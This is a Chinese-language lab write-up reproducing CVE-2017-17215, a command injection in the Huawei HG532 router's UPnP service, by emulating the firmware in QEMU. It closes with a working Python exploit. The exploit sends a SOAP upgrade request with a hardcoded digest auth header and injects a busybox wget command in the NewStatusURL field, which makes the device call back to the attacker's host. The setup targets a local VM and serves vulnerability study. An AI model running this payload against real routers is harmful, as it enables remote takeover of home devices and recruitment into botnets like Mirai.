基本信息#
2017.11.27 Check Point 团队报告华为 HG532 产品的远程命令执行漏洞 (CVE-2017-17215),Mirai 的升级版变种中已经使用该漏洞。 华为 HG532 是一款小型家用和办公用户打造的告诉无线路由器。该漏洞 payload 由蜜罐所捕获发现。利用原理是利用 upnp 服务中的注入漏洞实现任意命令执行。
分析环境是 archlinux
固件下载地址可以在CVE-2017-17215-HG532 命令注入漏洞分析这篇文章找到,下载链接
binwalk 解压(需要安装 squashfs-tools)
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
漏洞点位于 UPnP 服务中,file 命令看一下 unpn 二进制文件,可以看到 upnp 应该是跑在 MIPS 32 位大端
配置 qemu 环境并复现漏洞#
archlinux 安装 qemu:
sudo pacman -S qemu-full qemu-user-static
网络环境配置使用 qemu 自带的 qemu-bridge-helper 桥接,相关细节在QEMU-Archwiki中的 6.3.3
首先向/etc/qemu/bridge.conf
添加一行allow br0
确保/etc/qemu/
的文件权限是 755
然后像这样启动 qemu
$ qemu-system-x86_64 -nic bridge [...]
可以这样指定 bridge
$ qemu-system-x86_64 -nic bridge,br=br1,model=virtio-net-pci [...]
从https://people.debian.org/~aurel32/qemu/mips/下载对应的 debian mips qemu 镜像
下载 debian_squeeze_mips_standard.qcow2 和 vmlinux-2.6.32-5-4kc-malta
启动脚本 run_qemu.sh:
#!/bin/bash
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.123.1/24 dev br0
qemu-system-mips -M malta
-kernel debian/vmlinux-2.6.32-5-4kc-malta
-hda debian/debian_squeeze_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-nic bridge
ip link set dev br0 down
ip link del name br0 type bridge
$ sudo ./run_qemu.sh
root/root 登录
默认 eth0 接口没有设置 ip
使用命令添加 ip
$ ip addr add 192.168.123.2/24 dev eth0
然后顺利 ping 通,ssh 连接
$ ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]
传输 squashfs-root
$ tar -cvf squashfs-root.tar squashfs-root/
$ scp -r -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root.tar [email protected]:/root/
在虚拟机上解压
$ tar -xvf squashfs-root.tar
chroot 切换根目录
$ chroot /root/squashfs-root /bin/sh
运行漏洞点 upnp 服务
$ /bin/upnp
$ /bin/mic
mic 执行到这里时会修改网卡配置,ssh 断连
在 qemu 的终端重新快速添加 ip 信息,ssh 恢复连接
$ ip addr add 192.168.123.2/24 dev eth0
nmap 显示 upnp 服务端口已打开
宿主机 nc 监听 80 端口
$ sudo ncat -lk 80
执行 exp.py:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.123.1 -l /tmp/1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.123.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
nc 收到回应